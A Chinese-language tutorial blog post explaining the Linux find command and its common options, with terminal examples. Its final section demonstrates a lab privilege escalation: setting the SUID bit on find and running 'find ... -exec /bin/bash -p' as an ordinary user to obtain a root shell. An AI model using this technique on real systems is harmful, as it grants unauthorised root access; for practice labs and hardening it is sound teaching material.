find 基本用途

find 概述

  • 在官方 Man 手册中,find 的作用是:在目录层次结构中搜索文件。
  • 命令使用结构如下:
1
find [-H] [-L] [-P] [-D debugopts] [-Olevel] [starting-point...] [expression]

find 选项

  • 由于 find 选项过于多了,这里只挑我经常用到或者看到的。

–help

  • find --help 是一个在类Unix操作系统中使用的命令,用于显示 find 命令的帮助手册或文档。
  • find --help 更多的是用法而不是说明,示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[root@localhost ~]# find --help
Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression]

default path is the current directory; default expression is -print
expression may consist of: operators, options, tests, and actions:

operators (decreasing precedence; -and is implicit where no others are given):
( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2
EXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2

positional options (always true): -daystart -follow -regextype

normal options (always true, specified before other expressions):
-depth --help -maxdepth LEVELS -mindepth LEVELS -mount -noleaf
--version -xautofs -xdev -ignore_readdir_race -noignore_readdir_race

tests (N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N
-cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME
-ilname PATTERN -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN
-links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
-nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN
-readable -writable -executable
-wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N
-used N -user NAME -xtype [bcdpfls]
-context CONTEXT


actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print
-fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
-exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
-execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;

Report (and track progress on fixing) bugs via the findutils bug-reporting
page at http://savannah.gnu.org/ or, if you have no web access, by sending
email to <bug-findutils@gnu.org>.

注:如果要查看详细的说明文档,建议使用 man find。

-xtime

-atime

  • -atime 用于匹配文件的访问时间。
  • 匹配访问时间精确为 n 天的文件:
1
find /path/to/directory -atime n
  • 匹配访问时间在 n 天之前的文件:
1
find /path/to/directory -atime +n
  • 匹配访问时间在 n 天以内的文件:
1
find /path/to/directory -atime -n

-ctime

  • 与 -atime 同理,用于匹配文件的变化时间。

-mtime

  • 与 -atime 同理,用于匹配文件的修改时间。

-newerxt

-newermt

  • -newermt:用于查找在指定时间之后修改过的文件。
  • 在根目录及其子目录中搜索类型为文件的文件,并且其修改时间在 2023 年 11 月 1 日 00:00:00 之后,并且在 2023 年 11 月 3 日 23:59:59 之前:
1
2
3
[root@localhost ~]# find / -type f -newermt "2023-11-01 00:00:00" -a ! -newermt "2023-11-03 23:59:59"
find: ‘/proc/48553/task/48553/fdinfo/5’: No such file or directory
find: ‘/proc/48553/fdinfo/6’: No such file or directory

-newerat

  • 与 -newermt 同理,用于查找访问时间在指定时间之后的文件。

-newerct

  • 与 -newermt 同理,用于查找状态改变时间在指定时间之后的文件。

-name

  • find 命令在没有指定其他选项和参数时,它会从当前目录开始搜索,并列出当前目录及其子目录中的所有文件和目录。
  • 使用 -name 用于根据文件名来匹配搜索结果:
1
2
3
[root@localhost ~]# cd /etc ; find -name passwd
./pam.d/passwd
./passwd
  • 使用通配符匹配文件扩展名、文件前缀:
1
2
3
4
5
6
7
8
9
[root@localhost etc]# cd /etc ; find -name 'passwd*'
./pam.d/passwd
./passwd
./passwd-

[root@localhost etc]# cd /etc ; find -name '*.txt'
./pki/nssdb/pkcs11.txt
./brltty/brl-lb-all.txt
......

-path

  • -path 用于根据文件路径来匹配搜索结果。
  • -path 选项用于匹配文件路径而不是文件名,示例如下:
1
[root@localhost etc]# cd /etc ; find -path './rc*' -name 'network'

注:-path 选项是区分大小写的,如果想进行不区分大小写的文件路径匹配,可以使用 -ipath 选项。

-perm

  • -perm 用于根据文件权限来匹配搜索结果。
  • 可以跟着一个用于匹配的权限模式,这个模式可以是一个八进制数字,也可以是一个符号表示的权限。

-perm mode

  • -perm mode 用于匹配具有指定权限模式的文件,也就是精确匹配:
1
2
[root@localhost tmp]# touch demo ; find -perm 644
./demo
  • 但在更多情况下,我们希望能够对权限进行模糊匹配。
  • 比如:查找所属组具有写权限的目录,或者是查找其他用户具有写权限的文件等。
  • 重点,要背:
    • 数字 0 表示忽略相应位置的权限;
    • 数字非 0 表示相应位置权限;

-perm -mode

  • -perm -mode:匹配具有至少包含指定权限模式的文件(和的关系)。
1
2
3
4
5
[root@localhost tmp]# touch demo ; find -perm -640 | grep demo
./demo

[root@localhost tmp]# touch demo ; find -perm -620 | grep demo

-perm /mode

  • -perm /mode:匹配具有任意一个指定权限模式的文件(或的关系)。
1
2
3
4
5
[root@localhost tmp]# touch demo ; find -perm /644 | grep demo
./demo

[root@localhost tmp]# touch demo ; find -perm /422 | grep demo
./demo

-perm +mode

  • 不再支持此功能(自 2005 年起已弃用),请改用 -perm /mode。

-size

  • -size:用于根据文件大小来匹配搜索结果。
  • 后面可以跟着一个用于匹配的大小值。这个大小值可以是以块(blocks)为单位的整数,也可以使用带有单位的字符串来表示。
  • 可以使用以下后缀(常用):
    • C:bytes
    • K:KiB
    • M:MiB
    • G:GiB
  • -size n:匹配大小精确为n个块的文件:
1
find /path/to/directory -size 1024
  • -size +n:匹配大小大于n个块的文件。
1
find /path/to/directory -size +1024
  • -size -n:匹配大小小于n个块的文件。
1
find /path/to/directory -size -1024

-type

  • -type:用于在指定目录及其子目录中递归搜索文件和目录,Linux 文件类型如下:
文件类型 解释说明
- 普通文件是最常见的文件类型,存储了文本、二进制数据或程序代码等信息,大部分文件都属于这种类型。
d 目录是用于组织文件的特殊文件类型,它包含了其他文件和子目录。 在Linux中,一切皆文件,包括目录本身,类似于 Windows 的文件夹。
b 设备文件用于与系统中的设备进行通信。Linux 将设备文件分为块设备文件和字符设备文件两种类型,块设备文件用于访问像硬盘驱动器这样的块设备。
c 字符设备,用于访问像键盘、打印机等字符设备。
l 符号链接也称为软链接,它是一个指向另一个文件的特殊类型文件,类似于 Windows 中的快捷方式。
p 管道是一种用于进程间通信的文件类型,类似于套接字,但通常用于同一系统上的进程间通信。
s 套接字是一种用于进程间通信的特殊文件类型。它允许不同的进程通过网络或本地通信机制进行数据交换。
  • 查找 /etc 目录下的软链接:
1
2
3
4
5
[root@localhost ~]# find /etc -type l
/etc/mtab
/etc/fonts/conf.d/62-google-crosextra-caladea-fontconfig.conf
/etc/fonts/conf.d/61-urw-fallback-backwards.conf
......

-user

  • -user:查找具有特定所有者的文件或目录。
1
2
3
4
5
6
[root@localhost ~]# find /etc -user root
/etc
/etc/fstab
/etc/crypttab
/etc/mtab
......

-exec

-exec command

  • -exec command:用于在找到的每个文件上执行指定的命令。
  • 完整的命令为:
    • {}:表示找到的文件的占位符,{} 将被实际找到的文件名替换,然后命令将在每个文件上执行;
    • ; 表示命令的结束。

注:

  • 请务必在 {} 和 ; 之间留出空格;
  • ; 来表示分号字符本身,而不是作为命令的结束;
  • -exec 会对每个找到的文件执行指定的命令。
1
-exec <command> {} \;
  • 使用 ls -l 查看 /etc 目录下名称为 passwd 的文件:
1
2
3
[root@localhost ~]# find /etc -name 'passwd' -exec ls -l {} \;
-rw-r--r--. 1 root root 188 Apr 1 2020 /etc/pam.d/passwd
-rw-r--r--. 1 root root 2309 Nov 8 11:30 /etc/passwd

-execdir command

  • -execdir command:用于在找到的文件所在的目录中执行指定的命令。
  • 与 -exec 选项不同,-execdir 选项会将命令应用于每个找到的文件所在的目录,而不是文件本身。
  • 使用 ls -l 查看 /etc 目录下名称为 passwd 的文件:
1
2
3
[root@localhost ~]# find /etc -name 'passwd' -execdir ls -ld {} \;
-rw-r--r--. 1 root root 188 Apr 1 2020 ./passwd
-rw-r--r--. 1 root root 2309 Nov 8 11:30 ./passwd

-prune

  • -prune:可以用于控制 find 命令的搜索深度或忽略某些目录,通常与 -path 联动。

  • 但该选项坑略多:

    • -prune 选项只能用于目录,而不能用于文件。它用于排除匹配到的目录及其子目录,而不是文件本身。
    • -prune 选项应该放置在表达式中的适当位置,以确保正确的排除目录。通常,它在 -name 或其他匹配表达式之后使用。
    • 如果 -prune 选项单独使用,它会排除所有匹配的目录,而不会执行任何进一步的操作。
  • 在 /etc 目录下查找名称为 “network” 的文件,但排除 ./rc.d 目录:

1
2
3
4
[root@localhost etc]# find /etc -type d -name "rc.d" -prune -o -type f -name "network"
/etc/sysconfig/network
/etc/rc.d
/etc/vmware-tools/scripts/vmware/network
  • 可以看到文件虽然被排除了,但是目录还是显示了出来,不利于后续执行命令,所以换一个命令 -not -path:
1
2
3
[root@localhost etc]# find /etc -not -path "*rc.d*" -name "network"
/etc/sysconfig/network
/etc/vmware-tools/scripts/vmware/network
  • 这就看着顺眼多了。

find SUID

  • 这里算是 Linux 打靶过程中常用的 find SUID 提权方式吧。

  • 查看并修改 find 命令的权限:

1
2
3
4
5
[root@localhost ~]# ll /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find
[root@localhost ~]# chmod 4755 /usr/bin/find
[root@localhost ~]# find /usr/bin -type f -perm /4000 2>/dev/null -exec ls -l {} \; | grep find
-rwsr-xr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find
  • 切换到普通用户,使用 find 执行 whoami 命令:
1
2
3
4
5
[root@localhost ~]# su yongz
[yongz@localhost root]$ id
uid=1001(yongz) gid=1001(yongz) groups=1001(yongz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[yongz@localhost root]$ touch /tmp/1 ; find /tmp/1 -exec whoami \;; rm -rf /tmp/1
root
  • 可看到执行成功,直接切换 Shell

注:一定要加 -p,不然可能会提权失败。

1
2
3
[yongz@localhost root]$ touch /tmp/1 ; find /tmp/1 -exec /bin/bash -p \;; rm -rf /tmp/1
bash-4.2# id
uid=1001(yongz) gid=1001(yongz) euid=0(root) groups=1001(yongz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  • 成功提升到 root 权限。

注:

  • 这里可以看到有出现了一个 euid(effective user ID),当用户执行一个可执行文件时,该执行文件的 euid 将被设置为文件所有者的 uid,这使得用户在执行该文件时可以暂时获得文件所有者的特权。
  • 所以当一个可执行文件设置了 SUID 位,并且文件所有者是 root(uid 为 0),那么当普通用户执行该文件时,该进程的 euid 将设置为 0(root),以获得执行该文件所需的特权权限。

小问题:

  • 为什么我要自己创建文件去查找,不创建用如下命令会发生什么?
1
find / -exec whoami \;